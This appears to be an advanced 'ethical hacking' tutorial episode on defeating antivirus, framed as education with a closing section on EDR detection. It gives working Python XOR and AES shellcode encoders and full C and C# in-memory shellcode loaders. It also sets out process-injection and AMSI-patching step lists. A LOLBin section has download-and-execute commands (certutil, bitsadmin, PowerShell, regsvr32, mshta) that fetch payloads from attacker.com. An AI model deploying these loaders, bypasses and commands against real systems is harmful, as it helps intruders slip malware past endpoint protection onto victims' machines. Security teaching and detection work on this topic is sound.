Learn Ethical Hacking (#63) - Payload Generation and Evasion - Defeating Antivirus
Learn Ethical Hacking (#63) - Payload Generation and Evasion - Defeating Antivirus

What will I learn
- Why AV evasion matters -- when your perfectly good exploit gets blocked by Windows Defender;
- How antivirus actually works -- signature-based, heuristic, behavioral, and cloud-based detection layers;
- Payload encoding -- XOR, AES, and custom encoders to bypass static signature detection;
- Shellcode loaders -- writing custom loaders in C and C# that decrypt and execute payloads in memory;
- Process injection techniques -- classic injection, process hollowing, and reflective DLL loading;
- AMSI bypass -- disabling the Antimalware Scan Interface for PowerShell and .NET payloads;
- Living off the land -- using built-in Windows tools as payload delivery and execution mechanisms;
- Defense: understanding evasion to build better EDR detection rules.
Requirements
- A working modern computer running macOS, Windows or Ubuntu;
- A Windows VM with Defender enabled (for testing evasion techniques);
- Understanding of exploitation frameworks and C2 from episodes 41 and 62;
- The ambition to learn ethical hacking and security research.
Difficulty
- Advanced
Curriculum (of the Learn Ethical Hacking Series):
- Learn Ethical Hacking (#1) - Why Hackers Win
- Learn Ethical Hacking (#2) - Your Hacking Lab
- Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
- Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
- Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
- Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
- Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
- Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
- Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
- Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
- Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection
- Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die
- Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases
- Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers
- Learn Ethical Hacking (#15) - XSS Advanced - Bypassing Filters and CSP
- Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves
- Learn Ethical Hacking (#17) - Authentication Bypass - Getting In Without a Password
- Learn Ethical Hacking (#18) - Server-Side Request Forgery - Making Servers Betray Themselves
- Learn Ethical Hacking (#19) - Insecure Deserialization - Code Execution via Data
- Learn Ethical Hacking (#20) - File Upload Vulnerabilities - When Users Upload Weapons
- Learn Ethical Hacking (#21) - API Security - The New Attack Surface
- Learn Ethical Hacking (#22) - Business Logic Flaws - When the Code Works But the Logic Doesn't
- Learn Ethical Hacking (#23) - Client-Side Attacks - Beyond XSS
- Learn Ethical Hacking (#24) - Content Management Systems - Hacking WordPress and Friends
- Learn Ethical Hacking (#25) - Web Application Firewalls - Bypassing the Guards
- Learn Ethical Hacking (#26) - The Full Web Pentest - Methodology and Reporting
- Learn Ethical Hacking (#27) - Bug Bounty Hunting - Getting Paid to Hack the Web
- Learn Ethical Hacking (#28) - The AI Web Attack Surface - AI Features as Vulnerabilities
- Learn Ethical Hacking (#29) - Network Sniffing - Seeing Everything on the Wire
- Learn Ethical Hacking (#30) - Wireless Network Attacks - Breaking Wi-Fi
- Learn Ethical Hacking (#31) - Privilege Escalation - Linux
- Learn Ethical Hacking (#32) - Privilege Escalation - Windows
- Learn Ethical Hacking (#33) - Active Directory Attacks - The Crown Jewels
- Learn Ethical Hacking (#34) - Pivoting and Lateral Movement - Spreading Through Networks
- Learn Ethical Hacking (#35) - Cloud Security - AWS Attack and Defense
- Learn Ethical Hacking (#36) - Cloud Security - Azure and GCP
- Learn Ethical Hacking (#37) - Container Security - Docker and Kubernetes Attacks
- Learn Ethical Hacking (#38) - Infrastructure as Code - Securing the Automation
- Learn Ethical Hacking (#39) - Email Security - Phishing Infrastructure and Defense
- Learn Ethical Hacking (#40) - DNS Attacks - Exploiting the Internet's Foundation
- Learn Ethical Hacking (#41) - Exploitation Frameworks - Metasploit and Cobalt Strike
- Learn Ethical Hacking (#42) - Custom Exploit Development - Writing Your Own
- Learn Ethical Hacking (#43) - Exploit Development Advanced - Modern Mitigations and Bypasses
- Learn Ethical Hacking (#44) - Reverse Engineering - Understanding Binaries
- Learn Ethical Hacking (#45) - Supply Chain Attacks - Poisoning the Source
- Learn Ethical Hacking (#46) - The Human Factor - Why Security Training Fails
- Learn Ethical Hacking (#47) - Physical Security and OSINT - The Forgotten Attack Vectors
- Learn Ethical Hacking (#48) - Insider Threats - When the Call Is Coming from Inside the House
- Learn Ethical Hacking (#49) - Deepfakes and AI Deception - The New Social Engineering
- Learn Ethical Hacking (#50) - Red Team Operations - Simulating Real Attacks
- Learn Ethical Hacking (#51) - Incident Response - When Things Go Wrong
- Learn Ethical Hacking (#52) - Threat Intelligence - Knowing Your Enemy
- Learn Ethical Hacking (#53) - Security Architecture - Designing Systems That Resist Attack
- Learn Ethical Hacking (#54) - Compliance and Governance - The Business of Security
- Learn Ethical Hacking (#55) - Privacy and Data Protection - GDPR, CCPA, and Beyond
- Learn Ethical Hacking (#56) - Cryptocurrency Security - Attacking and Defending Digital Assets
- Learn Ethical Hacking (#57) - IoT and Embedded Security - Hacking the Physical World
- Learn Ethical Hacking (#58) - The AI Security Landscape - Attacking and Defending AI Systems
- Learn Ethical Hacking (#59) - Python for Pentesters - Automating Everything
- Learn Ethical Hacking (#60) - Zig for Security Tools - When Speed and Memory Matter
- Learn Ethical Hacking (#61) - Writing Custom Scanners - Beyond Off-the-Shelf
- Learn Ethical Hacking (#62) - C2 Frameworks - Building Command and Control
- Learn Ethical Hacking (#63) - Payload Generation and Evasion - Defeating Antivirus (this post)
Learn Ethical Hacking (#63) - Payload Generation and Evasion - Defeating Antivirus
Solutions to Episode 62 Exercises
Exercise 1: C2 lab deployment.
Server: Ubuntu VM (10.10.14.5), running c2_server.py on port 8080
Implant: Windows VM (192.168.1.50), running implant.py
Commands queued and results received:
whoami -> targetpc\user (3.2s round-trip)
ipconfig -> 192.168.1.50, subnet 255.255.255.0
dir -> listing of C:\Users\user\Desktop
tasklist -> 87 running processes
net user -> Administrator, Guest, user
HTTPS modification: generated self-signed cert with openssl,
modified server to use ssl.wrap_socket(), implant to verify=False.
Traffic now encrypted in Wireshark capture -- beacon intervals
still visible in timing but content is opaque.
The HTTPS modification is the important part. Without TLS, every command and response travels in cleartext -- a network analyst with a packet capture sees whoami going out and targetpc\user coming back, and the investigation is over before it starts. With TLS, the timing pattern (beaconing every 30 seconds) is still visible but the actual commands and results are encrypted. On a real engagement you would go further: use a legitimate-looking TLS certificate (not self-signed), configure HTTPS on port 443 (not 8080), and route through a redirector with a domain that has been categorized as "business" or "technology" by URL filtering services. The verify=False on the implant side means it accepts any certificate -- which is fine in your lab but on a real engagement you would pin the certificate hash to prevent a defender from MitM-ing the C2 channel.
Exercise 2: Sliver comparison.
Sliver implant generation: ~3 seconds (Go cross-compilation)
vs Python implant: instant (interpreted, no compilation needed)
Post-exploitation capabilities:
Sliver: 60+ built-in commands including screenshot, portfwd,
socks5, execute-assembly (.NET in-memory), process injection,
named pipe pivots, WireGuard tunneling
Python C2: shell command execution only
Evasion features:
Sliver: per-build obfuscation, randomized crypto keys,
sleep obfuscation, indirect syscalls, unique JA3 per implant
Python C2: zero evasion, immediately flagged by any AV
Multiplayer: Sliver supports multiple operators simultaneously
with per-operator audit logs. Python C2: single operator only.
The execute-assembly feature in Sliver deserves special attention. It loads .NET assemblies directly into memory and executes them without dropping files to disk -- which is critical because disk access is where most AV detections happen. The Python C2 from episode 62 runs subprocess.check_output(command, shell=True) which spawns a visible process for every command. A defender monitoring process creation events (using Sysmon from episode 51) will see every command you run. Sliver's in-memory execution avoids that process creation entirely for .NET payloads. That is a fundamental architectural advantage that no amount of polishing our Python C2 can replicate.
Exercise 3: C2 traffic analysis.
Capture: 30 minutes, implant beaconing every 30 seconds (30% jitter)
Beaconing analysis:
Total check-ins captured: 58
Average interval: 29.7 seconds
Standard deviation: 5.2 seconds
Min interval: 21.4 seconds
Max interval: 38.9 seconds
Detectable indicators:
1. Fixed URL path: all requests to "/"
2. Custom header: X-Session-ID present in every request
3. User-Agent: contains hostname/OS (not a real browser UA)
4. Response pattern: small JSON payloads (<1KB) at regular intervals
5. JA3 hash: Python requests library, NOT matching claimed browser
Snort rule:
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"Possible C2 beaconing - custom session header";
flow:established,to_server;
content:"X-Session-ID"; http_header;
threshold: type both, track by_src, count 5, seconds 300;
sid:1000001; rev:1;
)
The standard deviation of 5.2 seconds is the key metric. Normal human browsing to the same website produces interval standard deviations of 100 seconds or more -- you load a page, read it for 45 seconds, click a link, read for 2 minutes, open another tab, come back 5 minutes later. The tight clustering around 30 seconds with a standard deviation of 5 is a dead giveaway that software is generating the requests, not a human. RITA (Real Intelligence Threat Analytics) flags exactly this pattern. The Snort rule catches the custom X-Session-ID header -- which is specific to our toy C2, but the principle applies broadly. Any custom HTTP header that appears consistently across requests from one source is worth investigating.
Episode 62 was about building C2 infrastructure -- the command and control systems that turn a one-time exploit into a persistent operation. We built a Python C2 server with implant registration, task queuing, and result collection over HTTP, discussed communication channels (HTTP, DNS, SMB named pipes, ICMP, cloud services), implemented redirector architecture for protecting the team server from exposure, compared production C2 frameworks (Sliver, Mythic, Havoc, Villain), and covered the defense side with beaconing analysis, JA3 fingerprinting, and kill chain mapping. The core insight was that C2 is phase 6 of the kill chain -- the single choke point where defenders can catch attackers regardless of how they achieved initial access.
Today we face the problem that comes BEFORE C2 communication. Your implant from episode 62 works perfectly in your lab. It checks in, receives tasks, executes commands, reports results. But the moment you deploy it on a target with Windows Defender enabled, it gets quarantined before the first byte of code executes. The exploit worked. The payload was delivered. And then the antivirus said no.
The Last Line of Defense
Here is the scenario. You have spent two days on a penetration test. You found a vulnerability in the target's web application (maybe an SSRF from episode 18, or a file upload from episode 20). You wrote an exploit that delivers a reverse shell payload. You test it in your lab -- works flawlessly. You deploy it against the target and... nothing. Windows Defender caught the payload. Not because your exploit was bad, not because the vulnerability was patched, but because the PAYLOAD contained byte sequences that matched a known signature.
This is the reality of modern offensive security. Finding the vulnerability and writing the exploit is only half the battle. Getting your payload past endpoint protection is the other half -- and increasingly, it is the harder half.
AV evasion is the discipline of making payloads that accomplish their intended function (establish a shell, inject into a process, phone home to C2) while appearing innocuous to security software. It is an arms race with no finish line: every evasion technique eventually gets signatured, every detection mechanism eventually gets bypassed. The techniques in this episode have a shelf life -- some will work today and get detected next month when a vendor adds a new rule. That is normal. What matters is understanding the PRINCIPLES behind evasion, because those are permanent even when specific techniques are not.
How Antivirus Actually Works
Before you can evade detection, you need to understand what you are evading. Modern endpoint protection (the industry has moved from "antivirus" to "EDR" -- Endpoint Detection and Response -- but the underlying mechanics are the same at the detection layer) operates in multiple layers, and each layer catches different things:
Detection layers in modern EDR/AV:
1. Static analysis (signature-based)
- Hash matching: SHA-256 of the entire file against a database
of known malware hashes. If your file has the same SHA-256 as
a known Meterpreter payload, instant detection.
- Byte pattern matching: specific sequences of bytes that appear
in malware families. Not the full file hash -- just characteristic
subsequences. Example: the first 16 bytes of standard Meterpreter
shellcode are signatured by every major AV.
- YARA rules: flexible pattern matching with boolean conditions.
"If bytes X appear at offset Y AND string Z exists anywhere in
the file AND the file size is between A and B, flag it."
- Speed: instant. Accuracy: only catches KNOWN malware.
- Weakness: change one byte and the hash is different. Encode the
payload and the byte patterns change. This layer is trivial to
bypass -- which is why nobody relies on it alone anymore.
2. Heuristic analysis
- Examines file characteristics without requiring an exact signature.
- Checks for: suspicious API imports (VirtualAlloc, CreateRemoteThread,
NtWriteVirtualMemory), unusual PE section names, high entropy in
code sections (encrypted/encoded data), small file size with
network + process manipulation capabilities.
- Speed: fast. Accuracy: lots of false positives. Legitimate software
uses VirtualAlloc too.
- Weakness: you can import APIs dynamically at runtime (GetProcAddress)
instead of statically, reducing heuristic signals.
3. Behavioral analysis (sandbox/dynamic)
- Executes the file in a sandboxed environment and watches behavior.
- Monitors for: process injection, network connections to unknown IPs,
file encryption (ransomware), persistence mechanism creation
(registry keys, scheduled tasks), credential access (LSASS dumping).
- Speed: slow (seconds to minutes). Accuracy: high for known behavior
patterns.
- Weakness: sandbox detection. Check for VM artifacts (VMware tools
process, VirtualBox registry keys), check mouse movement (no mouse
= sandbox), sleep for 5 minutes (sandbox timeout < analysis time).
4. Cloud-based analysis
- Uploads suspicious files to the vendor's cloud for deep analysis
using ML models and larger signature databases.
- Benefits from crowdsourcing: if one customer sees a new sample,
ALL customers get protection within minutes.
- Speed: variable (seconds to hours). Accuracy: very high.
- Weakness: network isolation. If the endpoint cannot reach the
cloud (air-gapped networks, restricted egress), this layer is
gone entirely.
5. AMSI (Antimalware Scan Interface) -- Windows-specific
- Hooks into PowerShell, .NET CLR, JavaScript/VBScript engines.
- Scans script content at runtime BEFORE execution.
- Catches fileless malware that never touches disk -- which means
static and behavioral analysis never see it.
- Weakness: AMSI runs in user space. You can patch it in memory.
The multi-layered approach is why a single evasion technique is rarely sufficient. You might encode your payload to bypass static signatures (layer 1), but the encoded payload has high entropy which triggers heuristic analysis (layer 2). You add a sleep to evade the sandbox (layer 3), but the cloud analysis catches the payload anyway (layer 4). Real evasion requires addressing multiple layers simultaneously -- and that is what separates a functional evasion toolkit from a one-trick-pony encoder.
Payload Encoding
The simplest evasion technique: make the payload look different while doing the same thing. If the AV is looking for byte sequence \xfc\x48\x83\xe4 (the standard Meterpreter x64 shellcode prologue), you transform those bytes into something else and reverse the transformation at runtime.
#!/usr/bin/env python3
"""xor_encoder.py -- XOR encode shellcode to evade static signatures"""
def xor_encode(shellcode, key):
"""XOR each byte of shellcode with a rotating multi-byte key."""
encoded = bytearray()
for i, byte in enumerate(shellcode):
encoded.append(byte ^ key[i % len(key)])
return bytes(encoded)
def xor_decode(encoded, key):
"""XOR is symmetric -- encoding and decoding are the same op."""
return xor_encode(encoded, key) # XOR(XOR(x, k), k) = x
# Example: encode a payload
shellcode = b'\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00' # first 10 bytes
key = b'\xde\xad\xbe\xef'
encoded = xor_encode(shellcode, key)
print(f"Original: {shellcode.hex()}")
print(f"Encoded: {encoded.hex()}")
# Verify decode works
decoded = xor_decode(encoded, key)
print(f"Decoded: {decoded.hex()}")
assert decoded == shellcode, "Decode failed!"
# Output the encoded shellcode as a C array for embedding in a loader
print("\nC array format:")
print("unsigned char buf[] = {")
print(" " + ", ".join(f"0x{b:02x}" for b in encoded))
print("};")
XOR encoding is the "hello world" of payload evasion. It works against pure signature-based detection (the byte patterns change completely) but it does NOT work against modern heuristics. Why? Because the XOR decoder itself is a signatured pattern. A short loop that XORs a buffer against a key and then jumps to the result is a well-known shellcode stub. AV vendors have been detecting XOR decoder loops since the early 2000s.
The upgrade from XOR is AES encryption, which is substantially harder to detect because the decryption routine looks like legitimate cryptography rather than a suspicious decoder stub:
#!/usr/bin/env python3
"""aes_encoder.py -- AES-256-CBC encrypt shellcode for loader embedding"""
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import secrets
def aes_encrypt_shellcode(shellcode):
"""AES-256-CBC encrypt shellcode with random key and IV."""
key = secrets.token_bytes(32) # 256-bit key
iv = secrets.token_bytes(16) # 128-bit IV
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(shellcode, AES.block_size))
return key, iv, encrypted
def aes_decrypt_shellcode(key, iv, encrypted):
"""Decrypt shellcode at runtime."""
cipher = AES.new(key, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(encrypted), AES.block_size)
# Encrypt
shellcode = b'\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00'
key, iv, encrypted = aes_encrypt_shellcode(shellcode)
print(f"Key (embed in loader): {key.hex()}")
print(f"IV (embed in loader): {iv.hex()}")
print(f"Encrypted ({len(encrypted)} bytes): {encrypted.hex()}")
# Verify
decrypted = aes_decrypt_shellcode(key, iv, encrypted)
assert decrypted == shellcode
print("Decryption verified OK")
The advantage of AES over XOR is that AES decryption uses standard cryptographic APIs -- CryptDecrypt on Windows, OpenSSL on Linux. These API calls are present in thousands of legitimate applications (password managers, VPN clients, secure messaging apps), so their mere presence does not trigger heuristics. XOR decoding, by contrast, almost always involves a suspicious pattern: allocate memory, loop over bytes with XOR, jump to the result. That pattern screams "shellcode decoder" to any heuristic engine worth its salt.
Having said that, the key and IV have to live somewhere. If they are hardcoded in the binary next to the encrypted payload, a reverse engineer (episode 44) will find them in minutes. On a real engagement you would fetch the key from the C2 server (episode 62) at runtime, so the key never exists on disk -- but that requires network access before you can decrypt the payload, which adds a dependency.
Shellcode Loaders
The encoder generates the transformed payload. The loader is the program that reverses the transformation in memory and executes the result. The loader is the binary you actually deploy on the target -- and it is what the AV scans, analyzes, and (hopefully) allows to run:
// loader.c -- Windows shellcode loader with XOR decryption
// Compile: x86_64-w64-mingw32-gcc loader.c -o loader.exe -lws2_32
#include <windows.h>
#include <stdio.h>
// XOR-encoded shellcode (output from xor_encoder.py)
unsigned char encoded[] = {
0x22, 0xe5, 0x3d, 0x0b, 0x2e, 0x45, 0x7e, 0xef,
0xde, 0xad /* ... rest of encoded payload ... */
};
unsigned char key[] = { 0xde, 0xad, 0xbe, 0xef };
unsigned int payload_len = sizeof(encoded);
int main() {
// Step 1: Allocate buffer and decode
unsigned char *decoded = (unsigned char *)malloc(payload_len);
for (unsigned int i = 0; i < payload_len; i++) {
decoded[i] = encoded[i] ^ key[i % sizeof(key)];
}
// Step 2: Allocate executable memory
// PAGE_EXECUTE_READWRITE = RWX permissions
// This is a heuristic red flag -- legitimate programs rarely
// need memory that is both writable AND executable
void *exec_mem = VirtualAlloc(
NULL,
payload_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (exec_mem == NULL) {
free(decoded);
return 1;
}
// Step 3: Copy decoded shellcode to executable memory
memcpy(exec_mem, decoded, payload_len);
free(decoded);
// Step 4: Execute
((void(*)())exec_mem)();
return 0;
}
This loader is instructive because it shows you exactly what AV looks for. The VirtualAlloc call with PAGE_EXECUTE_READWRITE is the single biggest red flag. Legitimate programs allocate readable and writable memory (PAGE_READWRITE) for data, and readable and executable memory (PAGE_EXECUTE_READ) for code. Allocating memory that is simultaneously writable AND executable is almost exclusively a shellcode technique -- you need to write the decoded payload into memory, then execute it. EDR tools monitor VirtualAlloc calls and flag RWX allocations.
The mitigation is a two-step allocation: first allocate PAGE_READWRITE, copy the shellcode, then change the protection to PAGE_EXECUTE_READ using VirtualProtect. This is a more realistic allocation pattern and reduces (but does not eliminate) the heuristic signal.
The C# loader uses the same technique through P/Invoke -- calling native Windows APIs from managed .NET code:
// Loader.cs -- C# shellcode loader for .NET environments
// Compile: csc /unsafe /out:Loader.exe Loader.cs
using System;
using System.Runtime.InteropServices;
class Loader {
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAlloc(IntPtr addr, uint size,
uint allocType, uint protect);
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr addr, uint size,
uint newProtect, out uint oldProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr attr, uint stackSize,
IntPtr startAddr, IntPtr param, uint flags, IntPtr threadId);
[DllImport("kernel32.dll")]
static extern uint WaitForSingleObject(IntPtr handle, uint ms);
static void Main() {
// XOR-encoded shellcode
byte[] encoded = new byte[] {
0x22, 0xe5, 0x3d, 0x0b /* ... */
};
byte[] key = new byte[] { 0xde, 0xad, 0xbe, 0xef };
// Decode
byte[] shellcode = new byte[encoded.Length];
for (int i = 0; i < encoded.Length; i++)
shellcode[i] = (byte)(encoded[i] ^ key[i % key.Length]);
// Two-step allocation (less suspicious than direct RWX)
IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length,
0x3000, 0x04); // PAGE_READWRITE first
Marshal.Copy(shellcode, 0, mem, shellcode.Length);
// Change to executable
uint oldProtect;
VirtualProtect(mem, (uint)shellcode.Length, 0x20, out oldProtect);
// PAGE_EXECUTE_READ
// Execute via new thread
IntPtr thread = CreateThread(IntPtr.Zero, 0, mem,
IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(thread, 0xFFFFFFFF);
}
}
Why C#? Because .NET is everywhere in Windows enterprise environments. A .NET executable calling Windows APIs through P/Invoke does not look inherently suspicious in environments where hundreds of .NET business applications do the same thing. The payload lives inside a .NET assembly -- which means it benefits from the managed runtime's memory management and can interact with the .NET framework for things like downloading additional payloads over HTTPS using System.Net.Http (which uses the system's TLS stack and generates a proper JA3 fingerprint, unlike a custom Python requests call). Tools like Cobalt Strike's execute-assembly (which we discussed in episode 62 when comparing Sliver) load .NET assemblies directly into memory precisely because .NET execution is so common on Windows that it blends in.
Process Injection
Everything above executes shellcode inside the loader's own process. The problem: if the AV is monitoring YOUR process (and it is, especially if you are a newly dropped unknown executable), it watches every API call, every memory allocation, every thread creation. Process injection moves your shellcode into a DIFFERENT process -- preferably one that is trusted, long-running, and expected to make network connections.
Process injection techniques (overview):
Classic injection (CreateRemoteThread):
1. OpenProcess() -- get a handle to the target process
(e.g. explorer.exe, svchost.exe)
2. VirtualAllocEx() -- allocate memory inside the target
3. WriteProcessMemory() -- copy shellcode into that memory
4. CreateRemoteThread() -- start a thread in the target that
executes the shellcode
Detection: this exact API call sequence is signatured by every
EDR on the market. The BEHAVIOR (cross-process memory write +
thread creation) is the signature, not the bytes.
Process hollowing:
1. CreateProcess() with CREATE_SUSPENDED flag -- start a
legitimate program (svchost.exe) but keep it frozen
2. NtUnmapViewOfSection() -- remove the legitimate code from
the process's memory space
3. VirtualAllocEx() + WriteProcessMemory() -- write your
malicious code where the legitimate code used to be
4. SetThreadContext() + ResumeThread() -- update the entry
point to your code and resume execution
Result: svchost.exe is running, PID looks normal in Task
Manager, but the actual code in memory is your implant.
Detection: memory content scan shows discrepancy between
the on-disk executable and the in-memory code.
Reflective DLL injection:
1. Write a custom DLL that contains its own PE loader
2. Inject the DLL into a target process
3. The DLL parses its own PE headers, resolves imports via
GetProcAddress, and loads itself -- no LoadLibrary call
Result: DLL loaded entirely in memory, no file on disk,
no LoadLibrary call that AV monitors
Detection: scanning process memory for executable headers
(MZ/PE magic bytes) that don't correspond to loaded modules.
APC injection (QueueUserAPC):
1. Find a thread in the target process that is in an
alertable wait state (WaitForSingleObjectEx, SleepEx)
2. Queue an APC (Asynchronous Procedure Call) that points
to your shellcode in the target's memory
3. When the thread returns to alertable state, the APC executes
Detection: less common than CreateRemoteThread, so less
widely signatured -- but still detectable via ETW events.
Each technique has its tradeoffs. Classic injection is the simpliest but the most detected. Process hollowing produces the most convincing camouflage (your code running as a legitimate process) but requires more API calls, each of which generates telemetry. Reflective DLL injection avoids LoadLibrary monitoring but requires a custom PE loader -- which is complex to write and has its own signatures. APC injection is stealthier than CreateRemoteThread but requires finding a thread in an alertable state, which is not guaranteed.
The trend in offensive security is toward indirect syscalls -- calling the Windows kernel directly instead of going through the normal NTDLL.DLL functions that EDR hooks. When you call VirtualAlloc, the call goes through kernel32.dll -> ntdll.dll -> kernel. EDR products hook (intercept) the ntdll.dll layer to monitor API calls. Indirect syscalls bypass ntdll.dll entirely by computing the syscall number and issuing the syscall instruction directly. This is the technique that modern C2 frameworks like Havoc implement in their implants, and it is significantly harder to detect because the EDR never sees the API call.
AMSI Bypass
AMSI is Microsoft's answer to fileless malware. The idea is clever: instead of scanning files on disk, scan script content at the point of execution. When you run a PowerShell command, AMSI intercepts it, sends it to the AV engine for scanning, and blocks execution if it matches a known signature.
# What AMSI catches:
# This innocuous-looking one-liner downloads and executes a script
# IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')
# Result: "This script contains malicious content and has been blocked"
# AMSI can even catch obfuscated versions because it scans AFTER
# the PowerShell engine de-obfuscates the command. For example:
# $a = "IEX"; $b = "(New-Object Net.WebClient)"; & ($a) ($b + ".DownloadString('http://...')")
# AMSI sees the final de-obfuscated form and blocks it.
# Classic AMSI bypass concept (patching AmsiScanBuffer in memory):
# AMSI is implemented as amsi.dll, loaded into every PowerShell process.
# The key function is AmsiScanBuffer() which scans content and returns
# a result code. If you overwrite the first bytes of this function with
# a "return AMSI_RESULT_CLEAN" instruction, every subsequent scan
# in YOUR PowerShell session returns "clean" -- regardless of content.
#
# Step 1: find amsi.dll base address in current process
# Step 2: find AmsiScanBuffer export address
# Step 3: change memory protection to writable (VirtualProtect)
# Step 4: write patch bytes (xor eax,eax; ret = return 0)
# Step 5: restore original memory protection
#
# This works because amsi.dll runs in USER SPACE -- your process,
# your memory, your rules. You are NOT disabling AMSI system-wide.
# You are patching it in ONE PowerShell session. Other sessions,
# other users, and the kernel are unaffected.
# Why defenders should care: the ATTEMPT to patch AMSI generates
# ETW (Event Tracing for Windows) events. Specifically, the
# Microsoft-Windows-Threat-Intelligence ETW provider logs memory
# protection changes and cross-process writes. A well-configured
# EDR monitors these events and alerts on AMSI tampering attempts
# even if the tamper succeeds.
The arms race around AMSI is fascinating. Microsoft patches bypass techniques in each Windows update. The security community finds new bypass techniques within days. The cycle repeats. Some bypasses that worked in 2022 are now signatured by AMSI itself (the bypass code is detected by the very system it tries to bypass). Newer techniques use indirect syscalls to call NtProtectVirtualMemory directly, bypassing the userspace hooks that detect the VirtualProtect call. Or they corrupt the AmsiContext structure that PowerShell passes to AMSI, causing the scan to fail silently without patching the function at all.
The important takeaway for defenders: AMSI bypass attempts are DETECTABLE even when they succeed. The ETW telemetry exists at the kernel level where user-space tampering cannot reach it. If your EDR monitors the Microsoft-Windows-Threat-Intelligence provider, you will see every AMSI bypass attempt -- and that attempt is itself an indicator of compromise, because legitimate software does not patch AMSI.
Living Off the Land Binaries (LOLBins)
Here is a question: what if you did not need to deploy a custom binary at all? What if Windows already had everything you needed -- signed by Microsoft, whitelisted by application control policies, trusted by every security product?
LOLBins (Living Off the Land Binaries) are legitimate Windows executables that can be repurposed for malicious activity. They are not malware. They are system tools with dual-use capabilities that attackers exploit:
# --- Download payloads using built-in Windows tools ---
# certutil: designed for certificate management
# Abuse: download arbitrary files from URLs
certutil -urlcache -split -f http://attacker.com/payload.exe C:\temp\payload.exe
# bitsadmin: Background Intelligent Transfer Service
# Abuse: download files as a background transfer job
bitsadmin /transfer job http://attacker.com/payload.exe C:\temp\payload.exe
# PowerShell: the obvious one
powershell -ep bypass -c "IWR http://attacker.com/payload.exe -OutFile C:\temp\p.exe"
# --- Execute code through trusted binaries ---
# rundll32: runs DLL exports
rundll32.exe payload.dll,EntryPoint
# regsvr32: registers COM objects
# Abuse: loads remote .sct script files (scriptlets)
regsvr32.exe /s /u /i:http://attacker.com/payload.sct scrobj.dll
# mshta: HTML Application host
# Abuse: executes HTA files from URLs -- HTA runs as fully trusted
mshta.exe http://attacker.com/payload.hta
# --- Compile and execute inline code ---
# MSBuild: C# build tool (part of .NET framework)
# Abuse: compiles and executes C# code defined inline in a .csproj file
# The C# code can contain shellcode loaders, downloaders, anything
MSBuild.exe inline_task.csproj
# InstallUtil: .NET installer utility
# Abuse: executes code in the Uninstall() method of a .NET assembly
InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe
LOLBins are powerful for one fundamental reason: they are signed by Microsoft. Application whitelisting policies (AppLocker, WDAC -- Windows Defender Application Control) that block unsigned or unknown executables will still allow certutil.exe and MSBuild.exe because they are core operating system components. The payload is not running as hacker_tool.exe -- it is running as MSBuild.exe compiling and executing inline C#, which looks identical to a legitimate build process.
The LOLBAS project (https://lolbas-project.github.io/) catalogs over 200 Windows binaries, scripts, and libraries with documented abuse potential. For each entry, it documents: the binary name, the legitimate purpose, the abuse function (download, execute, copy, encode/decode, compile), the specific command line for abuse, and detection guidance. If you are on the red team, it is your shopping list. If you are on the blue team, it is your detection checklist.
Detection: How EDR Catches Evasion
The defensive perspective is equally important. Every technique in this episode has corresponding detection strategies, and understanding them makes you a better attacker AND a better defender:
Behavioral detection beats signature evasion every time:
1. API call sequence monitoring (EDR hooks)
VirtualAlloc + memcpy + VirtualProtect + CreateThread in sequence
= shellcode loader pattern, regardless of encoding scheme.
The BEHAVIOR is the signature, not the BYTES.
Modern EDR products hook ~200 Windows API functions in ntdll.dll
and log every call with full parameters.
2. ETW (Event Tracing for Windows)
The Microsoft-Windows-Threat-Intelligence ETW provider monitors:
- Memory allocations with executable permissions (RWX or R->RX)
- Cross-process memory writes (WriteProcessMemory)
- Remote thread creation (CreateRemoteThread)
- Image mapping anomalies (reflective loading)
ETW operates at the kernel level -- user-space patching cannot
disable it (unlike AMSI). This is the gold standard for detection.
3. Parent-child process analysis
Word.exe spawning PowerShell? Outlook.exe spawning cmd.exe?
Excel.exe launching certutil.exe?
These parent-child relationships are almost never legitimate.
A document opens, drops a macro, the macro runs a command --
that command creates a child process with an unusual parent.
Sysmon Event ID 1 (process creation) captures the parent PID,
and SIEM correlation rules flag anomalous relationships.
4. LOLBin monitoring
Certutil downloading files from the internet is RARE in normal
operations. MSBuild compiling inline code outside of a CI/CD
pipeline is suspicious. Regsvr32 loading remote scriptlets is
almost always malicious. Each LOLBin has a legitimate use pattern
and an abuse pattern -- detection rules match the abuse pattern.
Example: certutil with -urlcache and -f flags AND a URL argument
= file download, not certificate management.
5. Memory scanning (periodic)
Even if a payload is encrypted on disk, it must be decrypted in
memory to execute. Periodic memory scans look for known shellcode
patterns (MZ headers, syscall stubs, C2 beacon configurations)
in process memory that does not correspond to loaded modules.
This catches reflective DLL injection and in-memory-only payloads.
6. Script block logging (PowerShell)
PowerShell 5.0+ logs the FULL content of every script block
before execution -- even if AMSI is bypassed, the script block
log captures the malicious code. Defenders who enable
